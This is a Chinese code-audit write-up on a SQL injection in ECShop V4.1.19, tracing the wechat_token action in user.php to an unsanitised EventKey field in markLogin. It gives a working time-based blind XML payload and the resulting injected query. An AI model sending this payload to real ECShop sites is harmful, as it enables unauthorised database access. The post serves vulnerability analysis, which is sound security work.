【代码审计】ECShop_V4.1.19 SQL注入漏洞 分析

关注user.php,当$action为wechat_token时

从php://input中获取xml数据,并解析,从中取出Event字段作为$method

最后用call_user_func_array调用new app\api\controller\WeChatEvent()#$method

我们来看app\api\controller\WeChatEvent()这个对象

它的scan方法调用markLogin,且从$data中提取EventKey和FromUserName字段

markLogin,存在sql注入

构造payload:

复制代码
<?xml version="1.0"?>
<xml>
  <Event>scan</Event>
 <EventKey>' OR SLEEP(5) OR '1'='1</EventKey>
  <FromUserName>test</FromUserName>
</xml>

拼接后变为

复制代码
select count(*) AS total_count from ecs_user_official where name = '' OR SLEEP(5) OR '1'='1'
相关推荐
辛迪聊物业数字化2 小时前
智慧社区物业管理软件新手部署与实操指南
大数据·php
DevUp5 小时前
部署与运维:选完怎么把站跑起来?(番外六)
php·cms
TechLee5 小时前
一行代码防水平越权:用 PHP-Casbin 终结业务里的数据级 if-else
后端·php
catchadmin5 小时前
PHP Trait 为何可能成为语言的关键特性
php
JaguarJack6 小时前
Whim 是什么?一门把 PHP 被否决的设想真跑起来的实验语言
后端·php·服务端
草莓熊Lotso7 小时前
【Redis 进阶】主从复制深度解析:从配置落地到 PSYNC 同步原理
linux·开发语言·网络·数据库·redis·缓存·php
右耳朵猫AI8 小时前
PHP周刊2026W37 | Symfony 三维护版齐发、Laravel AI SDK 0.11、LSP 服务器上线
后端·php·laravel
天若有情6739 小时前
开源SQL注入可视化演示项目|GitHub Pages+Netlify双平台免费部署教程
网络安全·代码审计·githubpages·sql 注入·web 安全·前端演示·netlify 部署
BingoGo10 小时前
Whim 是什么?一门把 PHP 被否决的设想真跑起来的实验语言
后端·php
aixingpan10 小时前
aixingpan.cn API开发文档:api_docs_trichart_natal_marx_transit2接口指南
前端·php